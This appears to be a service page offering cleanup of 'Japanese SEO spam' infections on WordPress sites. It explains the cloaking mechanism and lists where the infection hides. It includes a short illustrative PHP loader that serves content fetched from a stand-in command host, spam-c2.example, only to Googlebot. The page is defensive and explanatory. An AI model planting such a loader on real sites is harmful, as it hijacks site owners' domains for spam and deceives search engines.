Japanese SEO spam removal.

Mechanism

What 'Japanese SEO spam' is, technically.

An attacker plants a PHP loader on your site (usually in wp-content/plugins/ or wp-content/uploads/). The loader generates thousands of synthetic pages with Japanese keywords and Japanese product titles. It rewrites your sitemap so Googlebot finds them. Real visitors never see the spam — the loader checks the User-Agent and serves your normal site to humans.

By the time you notice, Google has indexed hundreds or thousands of Japanese-language URLs on your domain. Search Console emails a security warning. Rankings drop. The 'Hacked: Content injection' label appears in Search Console.

01 <?php
02 // Serve spam only to Googlebot. Real users see the normal site.
03 if (strpos($_SERVER['HTTP_USER_AGENT'], 'Googlebot') !== false) {
04     $payload = file_get_contents('https://spam-c2.example/jp/' . $_SERVER['REQUEST_URI']);
05     echo $payload;
06     exit;
07 }

What I remove

Every place this infection hides.

• File loaders

  Obfuscated PHP in plugins, mu-plugins, themes, and uploads. Diff-read at the byte level — filename obfuscation is irrelevant.

• Database

  Spam content injected into wp_posts, malicious autoloaded wp_options entries, suspect wp_usermeta.

• Sitemap

  Generated synthetic sitemap entries removed; clean sitemap regenerated and resubmitted to Search Console.

• Htaccess

  .htaccess and nginx rewrite rules that redirect Googlebot or specific paths — reverted.

• Admin users

  Sleeper administrator accounts created by the loader — removed. All remaining admin secrets rotated.

• Entry vector

  Vulnerable plugin or stolen credential identified and closed. Without this step, the same hole gets reused within weeks.

Pricing